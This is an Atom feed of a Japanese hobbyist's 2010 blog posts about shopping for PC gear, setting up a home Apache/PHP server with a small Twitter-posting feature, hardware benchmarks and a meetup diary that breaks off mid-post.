&lt;p&gt;あとウェブカメラ。オートフォーカス機能がついた奴が結構でてきたのでそろそろ考えてみようかな。&lt;/p&gt; &lt;p&gt;ということでこれWebcam Pro 9000 QCAM-200SXを。 &lt;/p&gt; &lt;p&gt;&lt;a href="http://lh6.ggpht.com/_toMCQOU2NRI/THcs7SMtFwI/AAAAAAAAAHQ/-KP5JlgmV64/s1600-h/K0000067439%5B3%5D.jpg"&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="K0000067439" border="0" alt="K0000067439" src="http://lh4.ggpht.com/_toMCQOU2NRI/THcs7n6iW2I/AAAAAAAAAHU/M7R3QSICOFU/K0000067439_thumb%5B1%5D.jpg?imgmax=800" width="324" height="244"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;200万画素　30fps  &lt;p&gt;USBでマイク内蔵。  &lt;p&gt;そしてオートフォーカス。  &lt;p&gt;価格は6000円ぐらい。  &lt;p&gt;&amp;nbsp; &lt;p&gt;不思議なことにマウスのほうが高い。  &lt;p&gt;T-01Bの大容量バッテリーも出ないし、金たまったらこれらを買うかな。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;んー、ディスプレイもほしいな。&lt;/p&gt; &lt;p&gt;&lt;a href="http://kakaku.com/item/K0000061322/"&gt;http://kakaku.com/item/K0000061322/&lt;/a&gt;&lt;/p&gt; &lt;p&gt;これいいなぁ。&lt;/p&gt; &lt;p&gt;地デジチューナー内蔵、32インチでFULLHD。&lt;/p&gt; &lt;p&gt;価格は4.5万。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;いや、メインPCの電源かマザーボードが壊れてるんだった。&lt;/p&gt; &lt;p&gt;そっち先に買わないとなぁ。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-3312939079393713170?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/3312939079393713170/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=3312939079393713170&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/3312939079393713170'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/3312939079393713170'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/08/logicool.html' title='やっぱLogicool製品！（信者？）'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_toMCQOU2NRI/THcs59l1IUI/AAAAAAAAAHE/Dv8AO0vLx8w/s72-c/002%20%281%29_thumb%5B3%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-8798234413344257241</id><published>2010-08-20T03:23:00.001+09:00</published><updated>2010-08-21T05:47:12.550+09:00</updated><title type='text'>レンタルサーバーはじめました。</title><content type='html'>&lt;p&gt;&lt;a href="http://axe1lyze.dip.jp"&gt;http://axe1lyze.dip.jp&lt;/a&gt;&lt;/p&gt; &lt;p&gt;管理者である自分も半分以上は勉強のために提供するサービスです。&lt;/p&gt; &lt;p&gt;セキュリティ対策やエラーへの対処が遅くなる可能性は十分にあります。&lt;/p&gt; &lt;p&gt;ご利用の方は「悪意」と「過剰な期待」は捨ててご利用ください。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;今のところは無料で仕様は&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;広告無し&lt;/p&gt;&lt;/blockquote&gt; &lt;blockquote&gt; &lt;p&gt;容量制限無し&lt;/p&gt; &lt;p&gt;PHP、CURL、MySQL、PEARの利用が可能&lt;/p&gt; &lt;p&gt;簡易Twitter機能付き&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;といったところ。&lt;/p&gt; &lt;p&gt;詳細はホームページに記載する予定。（そりゃそうだろ）&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;簡易Twitter機能は、&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;ユーザーのルートディレクトリの一階層上のlogin.phpとlogout.phpへリンクを張るだけでログインとログアウトのボタンの作成ができる&lt;/p&gt;&lt;/blockquote&gt; &lt;blockquote&gt; &lt;p&gt;&lt;a href="http://axe1lyze.dip.jp/tweet.php"&gt;http://axe1lyze.dip.jp/tweet.php&lt;/a&gt;　のstatusにデータを投げかけることでツイートできる（リクエストしたときにログインしていない場合はログインしツイートする）&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;という機能です。&lt;/p&gt; &lt;p&gt;もちろん、1から自作することも可能ですよ。&lt;/p&gt; &lt;p&gt;紹介としてサンプルコードを用意しました。（本当に簡単な機能だけです）&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;URLからのリクエストのサンプルコード&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;&lt;a href="http://axe1lyze.dip.jp/tweet.php?status=Sent_by_Axe1lyze_Server"&gt;http://axe1lyze.dip.jp/tweet.php?status=Sent_by_Axe1lyze_Server&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;テキストボックスからのツイートのサンプルコード&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;&amp;lt;html&amp;gt;&lt;br&gt;&amp;lt;head&amp;gt;&lt;br&gt;&amp;lt;meta http-equiv="Content-Type" content="text/html; charset=SJIS"&amp;gt;&lt;br&gt;&amp;lt;title&amp;gt;SamplePage&amp;lt;head&amp;gt;&lt;br&gt;&amp;lt;/head&amp;gt;&lt;br&gt;&amp;lt;body&amp;gt;&lt;br&gt;&amp;lt;form method='POST' action='../tweet.php'&amp;gt;&lt;br&gt;&amp;lt;input type='text' name='tweet'&amp;gt;&lt;br&gt;&amp;lt;input type='submit' value='ツイート'&amp;gt;&lt;br&gt;&amp;lt;/form&amp;gt;&lt;br&gt;&amp;lt;/body&amp;gt;&lt;br&gt;&amp;lt;/html&amp;gt;&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;これだけでログインしたユーザーにツイートさせることができます。&lt;br&gt;&lt;br&gt;&lt;a href="http://axe1lyze.dip.jp/tweetsample.php"&gt;http://axe1lyze.dip.jp/tweetsample.php&lt;/a&gt;&lt;/p&gt; &lt;p&gt;ここに上記のサンプルページを設置しておきます。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;また上記のように簡単にTwitterを使える機能を追加していく予定です。&lt;/p&gt; &lt;p&gt;Basic認証が利用できなくなる（もう使えないのかな？）ようなのでその代用としてでもご活用いただければ幸いです。&lt;/p&gt; &lt;p&gt;皆様のご利用お待ちしております。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-8798234413344257241?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/8798234413344257241/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=8798234413344257241&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/8798234413344257241'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/8798234413344257241'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/08/blog-post_20.html' title='レンタルサーバーはじめました。'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-2155867028528604627</id><published>2010-08-18T04:45:00.001+09:00</published><updated>2010-08-18T04:45:42.126+09:00</updated><title type='text'>XAMPP導入。</title><content type='html'>&lt;p&gt;なんか、Apache＋PHPをインストールしただけだとCurlの導入がとてつもなく面倒に思えたので、結局XAMPPを導入しました。&lt;/p&gt; &lt;p&gt;Curlも使えるようになったし、管理もちょっと楽になったように思える。（プラセボ効果）&lt;/p&gt; &lt;p&gt;レンタルサーバーとしても提供しようか悩んでいますが、まぁセキュリティを勉強してから。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;よぉし、Twitterアプリの開発がんばろうかな。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-2155867028528604627?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/2155867028528604627/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=2155867028528604627&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/2155867028528604627'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/2155867028528604627'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/08/xampp.html' title='XAMPP導入。'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-6495666609836835603</id><published>2010-08-16T19:33:00.001+09:00</published><updated>2010-08-16T19:33:10.464+09:00</updated><title type='text'>早速、サーバー仕様変更</title><content type='html'>&lt;p&gt;OSをUbuntuからWindows XPにしました。&lt;/p&gt; &lt;p&gt;仮想Windowsを立てるのが重過ぎるのと、Ubuntu用Skypeにエコーキャンセル機能がない。特に後者が重要な要因かな。&lt;/p&gt; &lt;p&gt;まぁこれでAdobe系の編集ソフトも使えるようになったし、Hamachiも動かせるようになった。&lt;/p&gt; &lt;p&gt;大半の問題は解決できたかな。&lt;/p&gt; &lt;p&gt;ApacheとPHP、Pearの導入が若干面倒だったけど、この先を考えるとこっちのほうがいいかな。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-6495666609836835603?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/6495666609836835603/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=6495666609836835603&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/6495666609836835603'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/6495666609836835603'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/08/blog-post_16.html' title='早速、サーバー仕様変更'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-1102677372478495267</id><published>2010-08-14T02:30:00.001+09:00</published><updated>2010-08-14T05:06:12.251+09:00</updated><title type='text'>サーバー構築完了</title><content type='html'>&lt;p&gt;&lt;a href="http://axe1lyze.dip.jp"&gt;http://axe1lyze.dip.jp&lt;/a&gt;&lt;/p&gt;スペック&lt;br&gt;OS : Ubuntu 10.04 (32Bit)&lt;br&gt;CPU : AthlonII X2 240&lt;br&gt;Memory : 2G*2 &lt;br&gt;HDD : 640Gbyte  &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;っていうか予想以上に簡単だった。&lt;/p&gt; &lt;p&gt;Ubuntuをインストールし、コンソールから以下のコマンドを入力すればApache,MySQL,PHP,Pearのインストールが完了します。&lt;br&gt; &lt;blockquote&gt;sudo apt-get install php5 php5-mysql php-pear&lt;br&gt;sudo pear install -a Log&lt;br&gt;sudo /etc/init.d/apache2 reload&lt;br&gt;&lt;/blockquote&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;ドメインはieServerを使わせていただいております。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;一応使いたいソフトが多々あるからWindowsは捨てがたい。&lt;/p&gt; &lt;p&gt;Windows Live系のソフトって便利だよね。Windows Live Writerとか。&lt;/p&gt; &lt;p&gt;というわけでUbuntuにVirtualBoxをインストールしWindows 7を使えるようにしましたとさ。&lt;/p&gt; &lt;p&gt;VDIファイルを別のドライブに作成。&lt;/p&gt; &lt;p&gt;だからサーバーのほうには影響しないよ！&lt;/p&gt; &lt;p&gt;といいたいところだけどメモリの割り当てを1GByteにしてるからちょっと重くなるかもね。常駐させてるし。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;Ubuntuってここまで使いやすかったんだ。Windowsとディスクドライブを共有できたっけ。  &lt;p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;俺って時代遅れ^q^&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-1102677372478495267?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/1102677372478495267/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=1102677372478495267&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/1102677372478495267'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/1102677372478495267'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/08/blog-post_14.html' title='サーバー構築完了'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-8966465975640831098</id><published>2010-08-10T17:22:00.001+09:00</published><updated>2010-08-10T17:48:21.113+09:00</updated><title type='text'>ベンチマーク結果</title><content type='html'>&lt;p&gt;先日予告した通り、ベンチマークを公開します。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;まずはシステム詳細&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;CPU-Z&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh3.ggpht.com/_toMCQOU2NRI/TGEO2zc242I/AAAAAAAAAE8/nrdFz1iJC2A/s1600-h/%21L%5B4%5D.jpg"&gt;&lt;img title="無題" style="border-top-width: 0px; display: inline; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="291" alt="無題" src="http://lh4.ggpht.com/_toMCQOU2NRI/TGEO3tIw9BI/AAAAAAAAAFA/qU07WwmPRHQ/%21L_thumb%5B2%5D.jpg?imgmax=800" width="599" border="0"&gt;&lt;/a&gt; &lt;br&gt;&lt;a href="http://lh4.ggpht.com/_toMCQOU2NRI/TGEO4S-px7I/AAAAAAAAAFI/4_RLvbkgnRk/s1600-h/%21L2%5B6%5D.jpg"&gt;&lt;img title="無題2" style="border-top-width: 0px; display: inline; border-left-width: 0px; border-bottom-width: 0px; margin: 0px 10px 0px 0px; border-right-width: 0px" height="288" alt="無題2" src="http://lh6.ggpht.com/_toMCQOU2NRI/TGEO4_EhrXI/AAAAAAAAAFM/hVGdFiDuRVI/%21L2_thumb%5B4%5D.jpg?imgmax=800" width="299" align="left" border="0"&gt;&lt;/a&gt; &lt;/p&gt; &lt;p&gt;その他&lt;/p&gt; &lt;p&gt;CPUはオーバークロックで4GHz&lt;br&gt;HyperThreading、TurboBoost有効。&lt;/p&gt; &lt;p&gt;SSD （RAID0)&lt;br&gt;Crucial CTFDDAC064MAG – 1G1&lt;br&gt;SFD CSSD-S6M64NMQ&lt;/p&gt;&lt;br clear="left"&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;GPU-Z&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh6.ggpht.com/_toMCQOU2NRI/TGERbrzyZ6I/AAAAAAAAAGk/HpS6R5EtVl4/s1600-h/GPU-Z.jpg"&gt;&lt;img title="GPU-Z" style="border-top-width: 0px; display: inline; border-left-width: 0px; border-bottom-width: 0px; margin: 0px 10px 0px 0px; border-right-width: 0px" height="502" alt="GPU-Z" src="http://lh6.ggpht.com/_toMCQOU2NRI/TGEMH_TlgFI/AAAAAAAAAGo/lL5XCRu_-Fk/GPU-Z_thumb.jpg?imgmax=800" width="404" border="0"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;以下ベンチマーク結果&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;Experience Index&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh6.ggpht.com/_toMCQOU2NRI/TGEMIQNHfII/AAAAAAAAAFQ/D_uRzxF6IXI/s1600-h/%C2%A8%C2%AF%C2%B9%C3%9A%C3%AA%C2%A8%C3%B3%C2%B9%C2%A4%C3%B3%C3%87%C3%83%C2%AF%C2%B9.jpg"&gt;&lt;img title="エクスペリエンスインデックス" style="border-top-width: 0px; display: inline; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="155" alt="エクスペリエンスインデックス" src="http://lh6.ggpht.com/_toMCQOU2NRI/TGEMJB84ZGI/AAAAAAAAAFU/XuQtlk2eglc/%C2%A8%C2%AF%C2%B9%C3%9A%C3%AA%C2%A8%C3%B3%C2%B9%C2%A4%C3%B3%C3%87%C3%83%C2%AF%C2%B9_thumb.jpg?imgmax=800" width="599" border="0"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;CrystalMark 2004RC3 と CrystalDiskMark3&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh5.ggpht.com/_toMCQOU2NRI/TGEMJpidiVI/AAAAAAAAADs/8ht--d31C7Y/s1600-h/crystalmark2004R3%5B5%5D.jpg"&gt;&lt;img title="crystalmark2004R3" style="border-top-width: 0px; display: inline; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="266" alt="crystalmark2004R3" src="http://lh4.ggpht.com/_toMCQOU2NRI/TGEMKXhBNoI/AAAAAAAAADw/E2j_WoHz5tM/crystalmark2004R3_thumb%5B3%5D.jpg?imgmax=800" width="294" border="0"&gt;&lt;/a&gt;&amp;nbsp;&lt;a href="http://lh3.ggpht.com/_toMCQOU2NRI/TGEMKzY6hEI/AAAAAAAAAD0/vpQCEUFmBhw/s1600-h/CrystalDiskMark3%5B4%5D.jpg"&gt;&lt;img title="CrystalDiskMark3" style="border-top-width: 0px; display: inline; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="268" alt="CrystalDiskMark3" src="http://lh6.ggpht.com/_toMCQOU2NRI/TGEMLeDHuKI/AAAAAAAAAD4/gVU7Waoeh4Y/CrystalDiskMark3_thumb%5B2%5D.jpg?imgmax=800" width="294" border="0"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;3Dmark06&lt;a href="http://lh3.ggpht.com/_toMCQOU2NRI/TGEMKzY6hEI/AAAAAAAAAD0/vpQCEUFmBhw/s1600-h/CrystalDiskMark3%5B4%5D.jpg"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh4.ggpht.com/_toMCQOU2NRI/TGEML06bBXI/AAAAAAAAAD8/BGhEw4Z1MW8/s1600-h/3dmark06%5B3%5D.jpg"&gt;&lt;img title="3dmark06" style="border-top-width: 0px; display: inline; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="379" alt="3dmark06" src="http://lh5.ggpht.com/_toMCQOU2NRI/TGEMMVbKIGI/AAAAAAAAAEA/OTr_HI8r1Ko/3dmark06_thumb%5B1%5D.jpg?imgmax=800" width="280" border="0"&gt;&lt;/a&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;Devil May Cry 4 (垂直同期OFF 可変レート 他すべて最高設定)&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh5.ggpht.com/_toMCQOU2NRI/TGEMM8ncnXI/AAAAAAAAAFY/fRxqextndqw/s1600-h/DevilMayCry4_Benchmark_DX10%202010-08-10%2014-50-06-01.jpg"&gt;&lt;img title="DevilMayCry4_Benchmark_DX10 2010-08-10 14-50-06-01" style="border-top-width: 0px; display: inline; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="376" alt="DevilMayCry4_Benchmark_DX10 2010-08-10 14-50-06-01" src="http://lh6.ggpht.com/_toMCQOU2NRI/TGEMNfW_hPI/AAAAAAAAAFc/py3C2nSTgnc/DevilMayCry4_Benchmark_DX10%202010-08-10%2014-50-06-01_thumb.jpg?imgmax=800" width="599" border="0"&gt;&lt;/a&gt; &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;BIO HAZARD5 Benchmark DirectX10 (垂直同期OFF 可変レートそのほかすべて最高設定)&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh3.ggpht.com/_toMCQOU2NRI/TGEMOJFJnhI/AAAAAAAAAFg/dQO8D6rcy2Q/s1600-h/BH5DX10%202010-08-10%2015-41-00-98.jpg"&gt;&lt;img title="BH5DX10 2010-08-10 15-41-00-98" style="border-top-width: 0px; display: inline; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="376" alt="BH5DX10 2010-08-10 15-41-00-98" src="http://lh3.ggpht.com/_toMCQOU2NRI/TGEMOngb9NI/AAAAAAAAAFo/KoYtPkNK-5c/BH5DX10%202010-08-10%2015-41-00-98_thumb.jpg?imgmax=800" width="599" border="0"&gt;&lt;/a&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;FFXIV CFXは非対応のまま動作させています。&lt;/p&gt; &lt;p&gt;LOW&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh6.ggpht.com/_toMCQOU2NRI/TGEMPHngC8I/AAAAAAAAAFs/4uE6m60HCag/s1600-h/FFXivWinBenchmark%202010-08-10%2016-30-35-21.jpg"&gt;&lt;img title="FFXivWinBenchmark 2010-08-10 16-30-35-21" style="border-top-width: 0px; display: inline; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="339" alt="FFXivWinBenchmark 2010-08-10 16-30-35-21" src="http://lh5.ggpht.com/_toMCQOU2NRI/TGEMPqUNAQI/AAAAAAAAAF0/B9j_CVoDp1Y/FFXivWinBenchmark%202010-08-10%2016-30-35-21_thumb.jpg?imgmax=800" width="599" border="0"&gt;&lt;/a&gt; &lt;/p&gt; &lt;p&gt;HIGH&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh6.ggpht.com/_toMCQOU2NRI/TGEMQVBP9TI/AAAAAAAAAF4/eAnH84G1oIk/s1600-h/FFXivWinBenchmark%202010-08-10%2016-24-38-73.jpg"&gt;&lt;img title="FFXivWinBenchmark 2010-08-10 16-24-38-73" style="border-top-width: 0px; display: inline; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="339" alt="FFXivWinBenchmark 2010-08-10 16-24-38-73" src="http://lh5.ggpht.com/_toMCQOU2NRI/TGEMRNmPpYI/AAAAAAAAAF8/OZA-wd3OjZs/FFXivWinBenchmark%202010-08-10%2016-24-38-73_thumb.jpg?imgmax=800" width="599" border="0"&gt;&lt;/a&gt; &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;Super π は104万桁が10秒。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;ベンチマーク結果は以上。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;そしておまけのタスクマネージャのSS&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh3.ggpht.com/_toMCQOU2NRI/TGEMRt0nCVI/AAAAAAAAAEk/zdGqynxyCd8/s1600-h/taskmanager%5B3%5D.jpg"&gt;&lt;img title="taskmanager" style="border-top-width: 0px; display: inline; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="434" alt="taskmanager" src="http://lh3.ggpht.com/_toMCQOU2NRI/TGEMSH2Nw_I/AAAAAAAAAEo/zQbxa4eIask/taskmanager_thumb%5B1%5D.jpg?imgmax=800" width="482" border="0"&gt;&lt;/a&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-8966465975640831098?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/8966465975640831098/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=8966465975640831098&amp;isPopup=true' title='1 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/8966465975640831098'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/8966465975640831098'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/08/blog-post_3572.html' title='ベンチマーク結果'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_toMCQOU2NRI/TGEO3tIw9BI/AAAAAAAAAFA/qU07WwmPRHQ/s72-c/%21L_thumb%5B2%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-4028688650866532921</id><published>2010-08-10T02:02:00.001+09:00</published><updated>2010-08-10T02:02:33.757+09:00</updated><title type='text'>夏休みの一大イベント無事終了。</title><content type='html'>&lt;p&gt;以前から計画していたオフ会が終了しました。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;1日目、朝6時に名古屋で待ち合わせ。&lt;/p&gt; &lt;p&gt;前日眠ることができずに、頭が働かない状態で名古屋へ。&lt;/p&gt; &lt;p&gt;とりあえず朝飯はマックで。&lt;/p&gt; &lt;p&gt;自宅についたら足がなかったので友達を呼んで最寄りのPCショップに。購入していなかったディスクドライブとPCケースを購入し、即帰宅。&lt;/p&gt; &lt;p&gt;家についたら一目散にPCを組み立てた。開封してみると予想以上に段ボールが多い。&lt;/p&gt; &lt;p&gt;そしてグラフィックボードがデカすぎて買ってきた箱に入らない。俺のPCの箱なら入るということで交換することに。&lt;/p&gt; &lt;p&gt;箱を開けた瞬間、3年間つもりに積もった肌にやさしいコットン繊維がなだれ落ちてきた。&lt;/p&gt; &lt;p&gt;掃除と組立で手分けして作業することに。もちろんおれは掃除しないよ。&lt;/p&gt; &lt;p&gt;OSのインストールまではうまくいったものの、GSATA3でSSDのRAID0構成にもかかわらずRead/Writeが300/140しかでない。これはおかしいと思い、原因を追究。&lt;/p&gt; &lt;p&gt;グラフィックボードがデカすぎるため、SATAの差し替えのために毎回GPUを外さないといけない。オンボードグラフィックスがないのはこういう時に痛いな。&lt;/p&gt; &lt;p&gt;そして昼飯はガスト。ハンバーグ＋ライスだったけど多すぎて食いきれん。車を出せる友達が時間がないということだったので即帰宅。&lt;/p&gt; &lt;p&gt;作業の続き。OSを何回インストールしなおしたんだろう。気づいたら8時だったので夕食のためコメダに。&lt;/p&gt; &lt;p&gt;後輩グループフルメンバーがいた。みんな携帯ゲームを。&lt;/p&gt; 